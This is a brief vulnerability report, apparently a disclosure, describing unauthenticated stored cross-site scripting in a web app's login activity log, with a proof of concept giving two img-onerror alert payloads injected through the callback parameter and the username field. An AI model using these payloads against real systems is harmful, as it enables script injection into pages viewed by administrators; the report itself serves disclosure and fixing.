# Unauthenticated Stored XSS
While user loging, the wrong user name and callback parameter will be recorded in the activity log, but the output parameters are not escaped correctly, external attacker can inject arbitrary js code.

poc:

open /login?callback=/<img src=1 onerror=alert(/2nd-xss/)>
enter `<img src=1 onerror=alert(/1st-xss/)>` at the username

then open /activity-log
